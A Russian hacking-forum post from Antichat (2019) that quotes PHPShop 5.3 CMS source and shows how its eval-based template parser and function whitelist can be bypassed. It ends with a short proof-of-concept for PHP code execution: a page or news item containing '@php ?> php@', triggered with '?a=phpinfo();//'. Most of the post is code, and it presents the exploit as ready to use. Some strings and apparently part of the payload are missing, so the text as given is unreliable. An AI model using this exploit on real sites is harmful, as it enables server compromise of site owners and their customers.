Показать сообщение отдельно

  #14  
Старый 18.03.2019, 04:46
l1ght
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме:
14023893

Репутация: 2163
По умолчанию

Цитата:
Сообщение от Take_IT  

PHPShop & PHPShop CMS Free - Latest Version
обновлю пост, последняя на данный момент версия PHPShop 5.3, список допустимых функций зашит в массив, смотрим на регулярки:

./class/parser.class.php

Код:
function Parser($string, $debug = false) {

    $dis = @preg_replace_callback("/@([a-zA-Z0-9_]+)@/", 'SysValueReturn', @preg_replace_callback("/(@php)(.*)(php@)/sU", "evalstr", str_replace('+', '+', $string)));

...
Код:
function evalstr($str) {
    ob_start();
    if (parser_function_guard == 'true') {
        if (!allowedFunctions($str[2]))
            return ob_get_clean();
    }
    if (eval(stripslashes($str[2])) !== NULL) {
        echo ('     PHP');
        echo ('  :');
        echo ('');
        echo ($str[2]);
        echo ('');
        return ob_get_clean();
    }
    return ob_get_clean();
}

...
Код:
function allowedFunctions($str) {
    $Functions = array(
        'if',
        'else',
        'switch',
        'for',
        'foreach',
        'echo',
        'print',
        'print_r',
        'array',
        'isset',
        'empty',
        'chr',
        '__',
        'str_replace',
        '__hide',
        'empty'
    );
    $allowFunctions = array_merge($Functions, explode(',', parser_function_allowed));
    preg_match_all('/\s*([A-Za-z0-9_$]+)\s*\(/isU', $str, $findedFunctions);
    $remElements = array_diff($findedFunctions[1], $allowFunctions);
    $denyFunctions = explode(',', parser_function_deny);
    foreach ($denyFunctions as $deny)
        if (stristr($str, $deny))
            $remElements[] = $deny;
    if (count($remElements) > 0) {
        echo ('    ');
        echo ('   :');
        echo ('');
        foreach ($remElements as $remElement) {
            echo ($remElement . '()');
        }
        echo ('');
        echo ('   (     phpshop/inc/config.ini  [function]):');
        echo ('');
        foreach ($allowFunctions as $allowFunction) {
            echo ($allowFunction . '()
');
        }
        echo ('');
        return false;
    } else {
        return true;
    }
}
создаем страницу или новость

универсальный poc для php5 и php7

Код:
@php ?> php@
?a=phpinfo();//
__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..
 
Ответить с цитированием